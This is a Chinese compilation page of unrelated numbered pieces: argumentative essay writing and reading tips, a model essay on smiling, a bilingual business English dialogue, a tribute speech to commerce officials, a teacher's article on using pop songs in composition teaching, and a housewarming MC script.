33.典型而鲜活的论据。

论点是议论文的灵魂,分论点是支撑起这个灵魂的骨架,而论据是议论文的血肉。典型的论据是指能充分反映事物本质,具有代表性的事例与名言。它首先要求真实,切合题旨。其次,选用的论据要弃旧用新,要厚今薄古。有些同学作文,记住几个经典论据,如司马迁、居里夫人、张海迪,变换着角度使用,把它们当做万花油。其实,这些论据就算典型,也不能引人注目。相反,选取人无我有、人有我新的论据说理,使阅卷者在阅读时产生新鲜感,效果会更好。另外,有些同学习惯用古代事例阐述事理,整篇文章未能联系实际,无时代的活水,也不能达到充分说理的目的。最好能引述时尚言论和当前媒体普遍关注的事例辅助说理,加强说理的针对性、时代感,使文章更具说服力。

44.处理好”事“与”理“的关系。

在议论文写作中,既要摆出事实论据,又要有必要的理论论据,如何正确的处理好两者的关系是文章写作成败的关键。就同学们的写作实践看,许多同学常犯的毛病是重事实论据而轻理论论据,两者没有有机的结合。反观成功之作,二者总是相辅相成的。另外,写议论文还要注意对事例进行分析,将”事“与”理“有机结合起来,而不能”以摆代论“。

微笑的魅力

微笑是人类最美丽的表情。她是以自信架起的希望灯塔,是弱小者手心的一片爱的阳光,是乞食者心中的一块甜美的奶酪,是冷淡者融化冰山的熊熊烈火。无论你是经受着风吹雨打,还是沐浴着阳光雨露;无论你是已攀上了顶峰,还是被困于巨谷深渊,生命的微笑都能感化潮湿的心情,抹去不悦的色彩。

还记得海伦凯勒吗?当她的生命在黑暗里碰壁时,正是沙莉文老师那微微的一笑,使她感悟到了阳光般的温暖。她说:“温暖的阳光照在我的脸上,我的手指触到了鲜花和叶子,我意识到春天来临了。”

美国钢铁大王卡耐基说:“微笑是一种神奇的电波,它会使别人在不知不觉中同意你。”在一次盛大的宴会上,一个平日对卡耐基很有意见的商人在背地里大肆抨击卡耐基,当卡耐基站在人群中听到他高谈阔论的时候,他还不知道,这使得宴会主人非常尴尬,而卡耐基却安祥地站在那里,脸上挂着微笑,等到抨击他的人发现他的时候,那人感到非常难堪,正想从人丛中钻出去,卡耐基的脸上依然堆着笑容,走上去亲热地跟他握手,好像完全没有听见他讲自己的坏话一样。后来,此人成为了卡耐基的好朋友。正如雨果所说:“微笑就是阳光,它能消除人们脸上的冬色。”

微笑不仅能让人驱走心灵的阴霾,还会让人变得友善。有一次,一位窘困不堪的乞食者将手伸到了屠格涅夫面前,但屠格涅夫找遍身上的每一个角落,什么也没有。于是他紧紧握住乞者的手,微笑地说:“兄弟,很抱歉,今天我忘记带了。”乞者眼里荡漾着异样的光芒,感动地说:“这个手心,这个微笑,就是周济!”

阳光总在风雨后,不管失败还是痛苦,我们如果能快乐地笑一笑,高歌生活多么好,蓝天白云多么美,那我们就会获得微笑的幸福,甚至能拥有金灿灿的硕果。朋友,快快亮出你的笑容吧!

俗话说:“防人之心不可无”。即使是心腹,也应防他那未露的尖刀。不要再让西楚霸王的头颅捧在故人吕马童的手中,不要再让李闯王的生命结束在心腹大将的刀下。《韩非子》

篇9:议论文怎么写格式方法

议论文怎么写

议论文第一段用一百字左右点明文章主旨,先把文章的中心论点抛出来,和标题相呼应,起到点题的作用。首段直接亮明自己的观点、立场,是一个立论的过程。第一段一定要写的精彩,以吸引阅卷老师的眼球,所以可以提前背诵或准备一些经典语段。

中间几段都是论证过程,要多找一些符合论点的材料加以论述,可以从正反两个方面进行论证,最终的目的都是证明自己的观点正确。每一段都可以先提出一个分论点,然后举例子证明自己的观点是正确的。例子可以是人物、事例等,举例子也要从古今中外、正反等多个角度去论证,这样才不至于让人感觉单一、没有说服力。

在议论文的论述过程中,如果是感觉单纯的说理和举例论证没有足够的说服力,还可以利用假设式分析。意思就是如果事情没有按照预想的方向发展,那么会出现什么结果,然后展开论述,得出结论。

在议论文的结尾段落,一百字左右即可,要总结全文,把议论文的结论进行重申,同时进一步总结升华,还可以结合生活和社会环境来思考,升华主题,达到言有尽而意无穷的目的。议论文格式没有太严格的规定,只要把论点、论据、论证过程写清楚即可,能让读者通过阅读有信服感。

议论文的考试题型

1、论点(证明什么) 论点应该是作者看法的完整表述,在形式上是个完整的简洁明确的句子。从全文看,它必能统摄全文。表述形式往往是个表示肯定或否定的判断句,是明确的表态性的句子。

A.把握文章的论点。 中心论点只有一个(统率分论点) ⑴明确: 分论点可以有N个(补充和证明中心论点)

⑵方法 ①从位置上找:如标题、开篇、中间、结尾。②分析文章的论据。(可用于检验预想的论点是否恰当) ③摘录法(只有分论点,而无中心论点)

B.分析论点是怎样提出的:①摆事实讲道理后归结论点; ②开门见山,提出中心论点;③针对生活中存在的现象,提出论题,通过分析论述,归结出中心论点; ④叙述作者的一段经历后,归结出中心论点; ⑤作者从故事中提出问题,然后一步步分析推论,最后得出结论,提出中心论点。

2、论据(用什么证明) ⑴论据的类型:①事实论据(举例后要总结,概述论据要紧扣论点);②道理论据(引用名言要分析)。

⑵论据要真实、可靠,典型(学科、国别、古今等)。 ⑶次序安排(照应论点);⑷判断论据能否证明论点; ⑸补充论据(要能证明论点)。

3、论证(怎样证明)

⑴论证方法 (须为四个字)

①举例论证(例证法) 事实论据 记叙 (在说明文中为举例子)

②道理论证(引证法和说理) 道理论据 议论

③对比论证(其本身也可以是举例论证和道理论证)

④比喻论证 比喻 在说明文中为打比方,散文中为比喻。

⑵分析论证过程:

① 论点是怎样提出的; ②论点是怎样被证明的(用了哪些道理和事实,是否有正反两面的分析说理); ③联系全文的结构,是否有总结。

⑶论证的完整性(答:使论证更加全面完整,避免产生误解)

⑷分析论证的作用:证明该段的论点。

4、议论文的结构 ⑴一般形式:①引论(提出问题)―――②本论(分析问题)―――③结论(解决问题)。

⑵类型:①并列式②递进式 ③总分式 ④分总式 ⑤总分总式。

5、驳论文的阅读

⑴作者要批驳的错误观点是什么?

⑵作者是怎样进行批驳的,用了哪些道理和论据;

⑶由此,作者树立的正确的观点是什么?

6、常见考点

①、议论文的论点考点:第一,分清所议论的问题及针对这个问题作者所持的看法(即分清论题和论点)。 第二,注意论点在文中的位置:

(1)在文章的开头,这就是所谓开宗明义、开门见山的写法。

(2)在文章结尾,就是所谓归纳全文,篇末点题,揭示中心的写法。这种写法在明确表达论点时大多有。所以,总之,因此,总而言之,归根结底等总结性的词语。

第三、分清中心论点和分论点: 分论一般位于段首或有标志性词语:首先、其次、第三等

第四、要注意论点的表述形式:有时题目就是中心论点。一篇议论文只有一个中心论点。

第五、通过论据来反推论点: 论据是为证明论点服务的,分析论据可以看出它证明什么,肯定什么,支持什么,这就是论点。

篇10:议论文阅读方法是什么

关于议论文阅读方法是什么

议论文阅读

在现实生活中,我们常常需要对人、事、物或某些现象表明态度,发表意见,阐述观点,这就是议论。以议论为主要表达方式的文章就叫议论文,也叫论说文。这种文体有较高的实用价值,报纸杂志中的社论、评论、杂感等,还有生活中的演讲、辩论等都属于这种文体。

议论文有论点、论据、论证三个要素。一篇议论文,无论是立论、驳论还是两者相结合,都有明确的论点。议论文的论据包括事实和道理两种基本形式。论点和论据是通过论证组织起来的。那么,怎样阅读议论文呢?

一、找准论点论点是作者对议论的问题所持的见解和主张,是议论文的灵魂。

议论文一般只有一个中心论点,有的议论文还围绕中心论点提出几个分论点。有些文章,标题就是中心论点,如《俭以养德》;有的文章开头就提出论点,如《谈骨气》一开头就提出了“我们中国人是有骨气的”;有些文章的中心论点出现在篇末;有些文章则是在论述过程中提出中心论点,如《想和做》;也有些文章对论点的表述不很集中,这就需要读者从诸多的信息中筛选提取,归纳概括。

二、分析论据论据是被论点统率,为论点服务的。常用的论据有两种类型———事实论据和道理论据。

事实论据:包括具有代表性的确凿的事例或史实。

道理论据:指经过人们的实践检验的、为社会所公认的正确理论,包括社会科学理论,如哲学理论,也包括自然科学的原理、定律、公式及广为流传的谚语、名言、警句等。

三、明确论证方法论证方法多种多样,常见的有四种:

①举例论证:列举确凿、充分、有代表性的事例证明论点;

②道理论证:用马列主义经典著作中的精辟见解、古今中外名人的名言警句以及人们公认的定理公式等来证明论点;

③对比论证:拿正反两方面的论点或论据做对比,在对比中证明论点;

④比喻论证:用人们熟知的事物做比喻来证明论点。多数议论文综合运用几种方法。

四、分析文章的结构议论文的结构一般是提出问题———分析问题———解决问题(即引论———本论———结论)。要理清文章的思路:看开头提出了什么问题,是从几个方面分析论证的,其中着重论述的是哪个方面,再进一步研究这么安排的道理。

五、分析议论文的语言要注意理解富有概括力的关键性词语。议论文的语言往往概括性强,利用比较抽象的词语表现丰富的内容。例如《俭以养德》中“俭以养德”,意思是要生活节俭,以此来培养品德。它内涵丰富,警策动人,只有联系作品背景和全文内容,才能有较深理解。

议论文文章答题术语

关于修辞

1.比喻:化平淡为生动,化深奥为浅显,化抽象为具体。

2.比拟:给物赋予人的形态情感(指拟人),描写生动形象,表意丰富。

3.借代:以简代繁,以实代虚,以奇代凡。

4.夸张:烘托气氛,增强感染力,增强联想;创造气氛,揭示本质,给人以启示。

5.对偶:便于吟诵,易于记忆,使词句有音乐感;表意凝练,抒情酣畅。

6.排比:节奏鲜明,内容集中,增强气势;叙事透辟,条分缕析;长于抒情。

7.反复:写景抒情感染力强;承上启下,分清层次;多次强调,给人以深刻的印象。

8.对比:使所表现的事物特征或所阐述的道理观点更鲜明、更突出。

9.设问:自问自答,提出问题,引发读者的思考。

10.反问:强调语气,语气强烈,强化情感。

议论文阅读答题技巧

第一,了解议论文的三要素:分别是论点、论据、论证。只有懂得这种文体的文章要素,才可能知道如何下手。

第二,知道议论文的文体框架结构是如何的。议论文都是以提出问题,进而分析,最后提出解决问题。按照这个框架逻辑去阅读,就能够让我们快速理解作者的意图了。

第三,开始答题时先判断是否是议论文文体。掌握了议论问的要素和框架,就可以帮助我们快速判断面对的是是否是真的议论文了。

第四,先阅读问题,再带着思考有针对性的进行快速阅读。这样可以加快答题速度,在阅读过程中遇到答案的可以先行做标记作答。

第五,快速找到文章的三要素,疑难问题先行跳过,不要停止全文阅读。在阅读全文时,找到文章的要素和框架,对于比较难作答的题目可以进行二次阅读和思考。

第六,结合作答的问题,第三遍快速阅读核对答案。做题千万不要大意失荆州,如果时间还充裕,可以回头再看一遍有没有答偏题了。

篇11:首次接触所用的外贸英语

Business English-Socializing

商务英语――社交

全球跨国公司无数,许多白领也为此成了常常飞来飞去的“国际人”。与世界各地的商务人士交往,你不仅需要有聪明的头脑、100%的自信,还要充分了解各国的交往习惯哦。

Part II First Contact 首次接触

RECEPTIONIST: Miss Miguel. You can go up now. It's the fifth floor.

MARIA: Thank you.

PETER: Yes, it looks good. I like the colors. Have we got enough time to promote it? That's my worry. And do we have the price right?

PAULA: More input on the technical side would help.

PETER: That's why I'm bringing Jens Foss over. Come in! (TO Maria) Oh, take a seat, will you? Shan't be a moment. (to Paula) Do you know Jens Foss? He's in our Copenhagen office.

PAULA: I've heard of him but I don't think we've met. Anyway, I'd better leave you to it.

PETER: Let me have the draft schedule by three this afternoon.

PAULA: Yes, I'll get onto it straight away.

PETER: And give me a ring if there are any problems.

PAULA: Will do!

PETER: (To Maria) Sorry to keep you. Have a seat.

MARIA: I hope you were expecting me. My name is Maria de Miguel.

PETER: Yes, I've got your details here somewhere.

前台:麦格女士。你可以上去了,在5楼。

麦格:谢谢。

彼得:哦,看起来不错。我喜欢这种颜色。推广时间够吗?我比较担心这个问题。还有,我们的定价合适吗?

波拉:若在技术方面多些投入会更好。

彼得:这正是我把颜斯・福斯也一起带来的原因。请进!(转向玛丽亚)噢,请坐,好吗?请等一下。(转向波拉)你认识颜斯・福斯吗?他在哥本哈根工作。

波拉:听人提起过他,但我们并没有见过面。不过,我还是先不打扰您了。

彼得:下午3点我要一份初步日程安排表。

波拉:好的,我马上去办。

彼得:若有什么问题给我打电话。

波拉:好!

彼得:(转向玛丽亚)让你久等了,请坐。

玛丽亚:我想你也正等着我的到来吧。我叫玛丽亚・麦格。

彼得:是的,我有你的资料。

PETER: Have we got enough time to promote it, that's the worry. And do we have the price right? Anyway, let's leave it there for the time being... Come in! Hello, you must be Maria. I'm Peter O'Donnell. Welcome to Tectron UK.

MARIA: Thank you. It's good to be here.

PETER: Let me introduce you to Paula Field. Paula is one of our marketing team.

PAULA: Nice to meet you, Maria.

MARIA: Nice to meet you.

PETER: I'm sure you know that Maria is going to be with us for a couple of months.

PAULA: Yes. We should be seeing quite a lot of each other. (to Peter) If you'll excuse me, I should be getting back. See you later, Maria.

MARIA: Yes, bye.

PETER: See you later, Paula. (to Maria) Have a seat. Coffee?

彼得:推广时间是否充足,这是我们颇为担心的问题。我们的定价合适吗?这样吧,等有时间再讨论这个问题吧……请进!你好,你一定是玛丽亚吧。我是彼得・欧唐纳。欢迎来到Tectron英国公司。

玛丽亚:谢谢,很高兴来到这儿。

彼得:让我给波拉・菲尔德介绍一下。波拉是我们市场部的工作人员。

波拉:很高兴认识你,玛丽亚。

玛丽亚:很高兴认识你。

彼得:你一定知道玛丽亚准备跟我们一起工作好几个月吧。

波拉:是的,我们俩会在一起呆挺长时间哦。(转向彼得)对不起,我要走了。再见,玛丽亚。

玛丽亚:再见。

彼得:再见。(转向玛丽亚)请坐。来一杯咖啡怎么样?

MARIA: Thank you.

PETER: How was the flight?

MARIA: Fine, only a little bit late.

PETER: Milk and sugar?

MARIA: Black, please.

PETER: Paula and I were discussing the Telcom package. Isn't the Spanish office planning their launch soon?

MARIA: That's right. I was helping to put together the promotional literature.

PETER: Ah. That could be very useful!

玛丽亚:谢谢。

彼得:旅程怎么样?

玛丽亚:很好,只是飞机有些晚点。

彼得:要加牛奶和糖吗?

玛丽亚:黑咖啡就可以了。

彼得:我跟波拉讨论了电信产品的包装问题。西班牙分部计划推出这些产品了吗?

玛丽亚:是的,我帮忙做推广宣传。

彼得:哈,真是太棒了!

leave sb. to sth. 让某人处理某事

A: John went to Paris. He left his secretary to complete the proposal.

约翰去巴黎了,他让秘书继续写没有完成的提案。

B: Oh, really?.

噢,是真的吗?

give sb. a ring 打电话

A: Let's go see a movie tonight.

咱们晚上去看电影吧。

B: OK. Give me a ring when you leave home.

好呀,出来时给我打一个电话。

Language focus: Welcoming visitors 欢迎来访者

Welcoming 欢迎

Welcome to ...

e.g. Welcome to London.

欢迎来到伦敦。

It's a (great) pleasure to welcome you to ...

e.g. It's a great pleasure to welcome you to our company.

热烈欢迎你来到本公司。

On behalf of ...I'd like to welcome you to ...

e.g. On behalf of the staff of Levien, I'd like to welcome you to our company.

我谨代表莱维恩公司的全体员工欢迎您来到我们公司。

Introducing yourself 介绍自己

My name's ... I'm... (job/position)

e.g. My name's Betty. I'm Marketing Manager of Levien.

我叫贝蒂,我是莱维恩公司的市场部经理。

Let me introduce myself. I'm ...

e.g. Let me introduce myself. I'm Shelly White. I'm Product Manager of Levien.

让我自我介绍一下,我叫雪莉・怀特。我是莱维恩公司的产品经理。

How do you do. My name's...

e.g. How do you do. My name's Julie.

你好,我叫茱丽。

We haven't met. I'm...

e.g. We haven't met. I'm Kate. How do you do.

我们还没见过面呢,我是凯特,你好。

Introducing someone else 介绍别人

I'd like to introduce you to ...

e.g. I'd like to introduce you to Mr. Bob, our vice-president.

让我给鲍伯先生――我们的副总裁介绍一下你吧,

Have you met...?

e.g. Have you met Alfred, our boss?

你跟我们的老板阿尔夫见过面了吗?

Responding to introductions 回答

How do you do. My name's...

e.g. How do you do. My name's Ellen. Glad to meet you.

你好,我叫埃伦,很高兴跟你见面。

Nice to meet you. Mine's...

e.g. Nice to meet you. Mine's Tom.

很高兴跟大家见面,我叫汤姆。

Offering 提供

Let me get you a coffee.

让我给您冲一杯咖啡吧。

Would you like coffee?

喜欢喝咖啡吗?

Let me take your coat.

让我把你的大衣挂起来吧。

篇12:心存百姓苦 权为民所用

――雅 沁

曾经,在我的耳边有过这样的评价:哇!你在机关工作,旱涝保收,金饭碗啊!也曾在无意中听到过这样的顺口溜:大盖帽,吃了原告吃被告,要想捞钱感感冒!这些话,听起来虽觉偏激刺耳,但仔细回味,却足以引起我们所有国家公务员对“权力”二字的深思。

十九世纪,伟大的政治家林肯在就职演说中大声宣告:“Our government is of the people,by the people,for the people”,一句“民有、民治、民享”的口号,从此开辟了民权思想的先河。

历史的长河源远流长,时代的车轮滚滚向前,“中国共产党要代表最广大人民群众的根本利益!”,这一伟大的理论更赋予了权力二字以新的诠释。

于是就有了这样一些人,他们的青春书写在繁忙的注册大厅内,他们的汗水挥洒在乡间的小路上,在经济大潮的岗亭上,他们用坚定而规范的手势,为地方经济的发展传递着一个又一个准确而明了的信号,也传送着他们对事业的无限执着和忠诚。

他们,就是我们秀洲大地上一群“心存百姓苦、权为民所用”的工商干部们。每一天,我们的干部们都精神抖擞,以火眼金睛守护在市场经济的风口浪尖。

基层工商的'工作是艰辛而繁琐的,晴天一身灰,雨天一身泥,有时甚至因不被当事人理解而遭受谩骂。记得年初,新塍所的小蒋在进行节前食品大检查时,发现一经营户在销售过期食品,便加以制止。不料对方却冲着他吼道:“要过年了,你们吃饱了撑的!想要钱是吧?好,给你!拿去买药吧!”话越说越难听。面对如此场面,刚从学校毕业的小蒋觉得委屈,泪水在眼中打转,可一想到自己的职责,还是对经营户晓之以理:“师父,过年了食品安全更要注意,和你一样,亲人不都等着我们平平安安健健康康地回家吗?”经过一遍又一遍的反复启发,看着被骂的工商干部态度那么好,经营户被感动了,满怀歉意地对小姜说出了心里话:原来,他是来三峡移民,前不久因家中失火,现在连过冬的衣物还没有着落。小蒋回去后,脑海中始终浮现着经营户那瘦削的脸,他想到移民兄弟为建设三峡作贡献,背井离乡来到这里,却遭到了眼前的不幸!于是,小蒋和其他干部一商量,大伙立即凑钱为他买了几大包衣物和生活用品。第二天,经营户如约来到工商所接受处罚。一进门,却见小蒋热情地说:“你来得正好!你看,这些衣物和生活用品都是大伙凑钱给你买的,正准备给你送去呢!”面对此情此景,经营户呆住了,眼泪扑簌簌地流了下来,紧紧握着小姜的手:“你们真是不是亲人胜似亲人哪。。。。。。”

在这条工商战线上,感人至深的事又何止一件两件?有首歌这样唱道:“说句心里话,我也有家,也懂得从军路上风吹雨打。你不站岗我不站岗谁来保卫咱祖国谁来保卫家?”歌声同样道出了工商干部们的甘苦。王村所的小洪在所里分管经检,工作十分努力,可面对孩子,总会满脸愧色。丈夫是个军人,常年在外顾不了家。小杜为了工作,也没法照顾好年幼的儿子,常常把儿子反锁在家里。一次,小洪接到群众举报,由于情况紧急匆匆赶往洪村。途中突然接到对门大妈着急地打来电话:“小洪啊,你儿子隔着防盗门在里面猛哭呢,你赶快回来一趟吧!”小洪接到电话,心里“咯噔”一沉,胸口象塞了一块砖:怎么办?回去?还是继续赶往现场?恰在此时,手机又响,一听是洪村那边催促她赶快到!于是小洪狠狠心,咬咬牙,不顾一切去了洪村。等事情处理完毕天已经暗了下来,当她拖着疲惫的身子回到家,打开防盗门一看,儿子躺倒在门前,她意识到,是儿子哭累睡着了。看着儿子涂满鼻涕眼泪的小脸儿,一阵酸楚涌上心头,滴滴热泪洒在儿子稚嫩的脸上。。。。。。

他们,就是这样一群刚柔并济的红盾卫士,他们也许没有惊人的壮举,没有耀眼的光环,但他们坚守着“金奖银奖不如老百姓夸奖”的爱岗誓言!“心存百姓苦,权为民所用”,在老百姓的心中铸就一座又一座丰碑!

青山不会忘记,

绿水不会忘记,

依然默默无闻

拼搏在江河大地间。

奉献奏出你执着的追求,

辛勤写下你殷切的希冀,

待到捷报传来的时候,

采一束歌颂之花献给你――

忠诚的红盾卫士们,

祖国不会忘记,

人民不会忘记!

篇13:让流行歌曲为写作所用(网友来稿)

让流行歌曲为写作所用(网友来稿)

湖南省邵东三中      李和珍

时下,中学生对流行歌曲有着如痴如醉的狂热,流行歌曲成为校园文化生活中不可缺少的一部分,每个校园都有崛起的“追星部落”,流行歌曲成为学生生活中的最大“热点”,成为中学生最钟爱的伙伴。我认为,在保证作文训练体系的前提下,把流行歌曲“拿来”,让流行歌曲与作文教学联姻,让流行歌曲成为写作训练的材料之一,不失为提高作文教学质量的一种有效途径。那么,流行歌曲对作文教学具有哪些积极意义呢?

一、利用流行歌曲,酝酿亢奋情感,激发写作兴趣

兴趣和热爱是学习的内驱力和催化剂,兴趣的激发和情感的勃动,是改变学生笔端滞涩,文章苦涩乏味这一窘况的必由之路。作文教学中,利用流行歌曲涌动着的青春浪漫的活力,追随少男少女的感觉步伐,让流行歌曲这一时代的“活水”刺激引发学生的亢奋情感,将学生的情绪反应唤醒到最佳状态,从而诱发学生的写作冲动与激情。在“爱屋及乌”式的移情效应中,学生形成写作兴奋状态,“忘我地投入一次”。如学生在吟唱品味《生活需要七色阳光》、《再回首》、《长大后我就成了你》等歌曲时,情绪高昴,心中的情感波澜被掀起,变本能的喜爱到有意味的理性思考,自觉地从更高的层次上审视歌曲带给人们的启迪,去感悟歌曲的情愫,心中涌动的非吐不快的写作欲望在文章中幻化出一张张心灵呼唤的底片:“学习不是高考指挥棒下的苦行僧生活,我们需要快乐地学习,我们需要感受七色阳光的温暖,我们应该追寻七彩生活的绚丽。”“再回首,我心依旧,三年高中学习使我们学会了生活,学会了做人。……”

二、利用流行歌曲,优化情感,提高审美趣味

优秀流行歌曲都是高尚情感的产物,融注了优美感人、积极向上、崇高壮阔、催人奋发的真切情感,流淌着深邃的思想潜流,动人心弦,是不可多得的情操品德教育的良好教材。比如,《爱的奉献》传达出了:只要有爱存在,温暖将被传送到地球村的每一个角落,只因有了爱,生活才丰富多彩。《说句心里话》表达了牺牲小我,戍关保国的无私奉献的皓月般高洁情怀。《真心英雄》则表达了“不经历风雨,怎么见彩虹”的高尚哲理。利用优秀流行歌曲这种孕风裹雨夹电挟雷的撼人情怀,抒发学生的情感共鸣,入耳入脑,情化、净化学生的心灵,启迪学生的自省意识,为他们自我育美育德开通一条新路。学生置身在优秀歌曲这一面镜子中,必然会情不自禁地进入角色,汲取其中的精神营养,并不断审视自我,调整自我,努力提高自己的责任感、意志力、奋发向上的精神,塑造一个更新、更完美的“我”。比如,学生从《一封家书》《常回家看看》所表达的儿女的一分孝心与爱心中反思:“我们自己有多少人心中常有父母,能知道并记住父母的生日或特殊纪念日?又有多少人能在节日里给父母送去一分祝福与关心?‘养儿才知报母恩’这一古老的遗憾不应在我们这一代继续延续。”学生在吟唱《样样红》之后铮铮宣誓“千金难买不落日,为了我的明天不是梦,为了向昨天说再见,珍惜青春年华吧。让满涨的情感在理性思考的牵引下,踏实过好每一分钟,用心去追,展翅高飞,去穿越所有界限,写下属于自己的明天。”

三、利用流行歌曲,充分感悟生活,长进提炼生活的能力

中学生已初步感悟人生,作文中时有心灵火花的迸射,时有情感的勃发与冲动,但这有几分清香的心海日记还不够深刻丰富,他们的弱点是:经历少,阅历浅,感悟生活的敏锐程度不够深,其感受带有情绪的表层化,认识的肤浅化,思维,点滴化,未能很好地发掘刹那间心灵震颤的层层涟漪,难以写出真正令人感动的好文章。作文教学中必须培养学生提炼生活内蕴的本领,深化学生领悟生活的能力。否则,长此以往,易造成学生思维搁浅,认识滞后。优秀流行歌曲都是生活之歌,是创作者做了生活“有心人”的结果。优秀流行歌曲精美、凝炼,闪耀着生活真谛的哲理性光辉,流淌着深沉的'人生意识,意蕴丰厚。有的歌词已成为名言警句,脍炙人口。如“风雨中这点痛算什么”(《水手》),“要用双手把自己的生命擦亮”(《生命街车》),“三分天注定,七分靠打拼”(《爱拼才会赢》)。作文教学中,应该借助优秀流行歌曲这一“慧眼”,或让歌曲作为学生深透体验、感悟生活的触发点,启引学生的写作灵感,帮助学生眼观六路,耳听八方;或以流行歌曲引发学生记忆仓库深处的生活经历,连通生活与作文,帮助学生挖掘生活源泉,开拓认识领域和写作思路;或以流行歌曲中的思想意蕴、感情火花为倚傍,洞悉生活的本质内涵,培养学生发现“值得思索事物”的能力;或促使学生沉浸在歌曲的特定情境中,在充分感受体会的基础上审视自己以往对类似生活的认识,在比较中深化心灵无意间发生过的感动,增强意会歌曲中的深邃哲理与充沛感情的能力;或让学生充分联想,想象,以小见大,合乎逻辑地类推引伸,从而补充、丰富歌曲对社会、对生活的理性认识。在对优秀流行歌曲的寻宝探幽中,学生的心智得到磨炼,从初步感受生活进入到深透地领悟生活,变挤牙膏式的“写得出”为能打动他人的“写得好”。学生从《爱拼才会赢》中认识到:要善于掌握“三分天注定”的机遇,更要自我努力创造发展的机遇;机遇不是等来的,拼则赢,不拼则败。学生从《回家》中感悟到:回家的感觉真好,那里有浓浓的亲情,脉脉的柔情,温暖的关怀。家不仅是人类自然之躯的栖身之地,更是人类的精神家园、心灵家园。

四、利用流行歌曲,培养鉴别思维能力,提高思辨力

也有些流行歌曲,仅是一种感情的渲泄,内容空洞苍白,有着空虚无奈的慨叹或无病呻吟矫揉造作的“假深沉”。有的甚至格调低下,有着愁肠百结的人生失落和颓丧泄气的情况,流露出灰色的感受。对这类歌曲,应指导学生以批判的眼光去看待歌曲中表露的消极人生观、玩世不恭的生活观,引导学生进行辩证理性思考。批判思维也是一种创新思维,社会正是在不断批判否定中前进的。通过辨析、批判、修正,分清良莠,帮助学生在批判中占领认识的“制高点”,如何正确看待复杂斑驳的人世生活,如何开掘认识生活本质的深度,并以此事拨响学生高昂的心灵之弦。比如学生在评析《小芳》这首歌曲时写道:一句“谢谢你”、“不忘怀”就算是对付出了真情却被无情水冲走的小芳的回报,就能补偿小芳付出的挚爱?小芳的真情和挚爱成了那位知青度过“那个年代”消除寂寞与无聊的替代品。那位知青对小芳并真情可言,为了调回城,就以一句“不忘怀”这一“空头支票”来搪塞孤零零地站在村口的满含凄凉忧伤的小芳。若是真的“不忘怀”,进城后为什么没有勇气去面对,去找回曾经拥有的真爱?又如学生在习作中写道:“人生不是一场游戏一场梦,游戏人生的人必将被生活抛弃,把人生当成一场梦的人,他将永远在梦中昏睡。人生是铮铮作响的誓言,是盘古开天时震憾心灵的巨响,我们要用心、用生命去编织人生的花环是男孩,就应奏出山的浑厚、山的雄健,是女孩,也该唱出水的壮阔、水的甜美。”

五、利用流行歌曲,培养对生活的陌生感,训练发散思维

思维能力是人类认识能力的核心,思维的深刻性、创造性等要求在作文中,体现为立意求新求异,为何独到新颖地散发出睿智的理性之光?必须训练学生的发散思维,训练他们不依常规,不把思维固定在一个圈子之内,而是开拓思路,多方联想,从不同的角度对生活作各种不同的理解和认识,探索解决问题的多种可能性。

把流行歌曲引入写作素材,用求同的感悟整体消化歌曲内容,然后以某些歌词的意蕴,情感为信息源,启迪引导学生跳出原有的认识角度,运用异样的眼光、独特的视角、陌生的感觉,多侧面多角度地思考感悟客观世界和人类社会,发现歌词中的事理。学生在求异中往往可“意想不到”地发掘出深蕴在事物另一面的极为深刻的人生哲理,从而受到令人振奋的情感冲刷,克服因习惯的单向线性思维、熟悉的感情圈子而造成对生活认识的“色盲”“弱视”,使学生作文呈现出一片晴朗的天空。比如,我指导学生从“沉默是金,笑骂由人,洒脱地做人”(《沉默是金》)这句歌曲进行发散:(1)对名利的诱惑,对他人的误会,沉默是金,沉默是一种美德;(2)培根说:“沉默是一种诡计”。在大是大非面前绝不能坐视不管,绝不能以“沉默是金”作为明哲保身、逃避社会责任的借口;(3)在创业中要拒绝沉默,要敢于表现自我,要有毛遂自荐的勇气,为自我发展创造机会。

另外,流行歌曲都是精心构思之典范,或是“小处着墨,大处着眼”,或是运用比喻、象征等表现手法,可以指导学生学习、借鉴流行歌曲的独特构思,精巧的布局,生动的表现手法,帮助学生大中取小,以小见大,努力使学生的作文达到新、奇、精、深。

结语:借助流行歌曲这一校园“热点”,让中学生的几缕情愫,一丝感触,星星点点的心灵火花跳跃舞动为张张纸语,作一次次心海的旅行,写一次次心灵之约,使作文训练这一“苦恼人的笑”变成愉悦舒心的笑! 作者邮箱: ldzsdsz@163.com

篇14:乔迁新居所用的主持词

乔迁新居所用的主持词模板

一、致开场白

尊敬各位来宾,女士们,先生们:

阳光明媚,歌声飞扬,欢声笑语,天降吉祥。在这春意盎然的喜庆日子里,我们怀着无比喜悦的心情相聚在永惠大酒店,共同庆祝XXX先生与XXX女士乔迁新居之喜。在这里,我代表东道主夫妇俩,对所有来宾的到来,表示衷心的感谢和热情的欢迎!同时用的我口,借大家的'手对他们致以衷心的祝福:吉日迁新居,万事皆如意。

二、主人入场

让我们用最热烈的掌声,有请才华横溢的XXX和温柔娴淑的XXX闪亮登场!

鞭炮鸣,音乐响,迁进新居福满堂,百客席前闹嚷嚷,温馨一家出了场。

三、介绍主家

真是——人逢喜事精神爽,乔迁新居喜洋洋,看到这么多亲朋好友来捧场,他们是——喜在心里,笑在脸庞,乐得嘴都合不上。

的确是这样——结婚生子,安居乐业,是人生当中重大的喜事,XXX和XXX,在工作上兢兢业业,积极向上;在生活中拼搏进取,勤俭持家。男的是模范丈夫,女的是贤妻良母。小日子过得红红火火,令人羡慕还有点嫉妒。他们能取得今天的成绩与自身努力和坐上亲朋的大力支持分不开的。

对此,我提议鞠躬表感谢!祝福你们,也谢谢大家!

四、欢乐互动

1、采访男主人:搬新家,好运到,入金窝,福星照,我先来采访一下家里挑大梁的,喜迁新居高兴吗?高兴到什么程度?是不是就跟当年入洞房一样高兴!今天可不是入洞房,是入新房,房子换新的了,“屋里的”想换不?——什么?想换?——有那贼心,没那贼胆?

房子变新了,心情变好了,开个玩笑取乐了,孩子变得更聪明了,夫妻变得更恩爱了,工作更加顺心了,再次,祝你们大吉大利,万事如意!

2、采访XXX:鸟枪换炮,新居报到。新新的房,新新的墙,还有美丽的孩他娘。

我想请问XXX,今天高兴不?激动不?在这个特别的时刻,我就再给你们创造个机会——激动一回。

3、大家想发财吗?要幸福吗?要想,就拿起巴掌,使劲的鼓掌——拍得越响,日子越过越兴旺;拍得越久,生活越来越富有。掌声不停,不要放下!

(抱着转圈)第一圈,转出个百花争艳;第二圈,转出个幸福平安;第三圈,转出个金玉满堂。

4、有请音响师,让他俩唱个《老婆老公我爱你》,大家掌声欢迎。

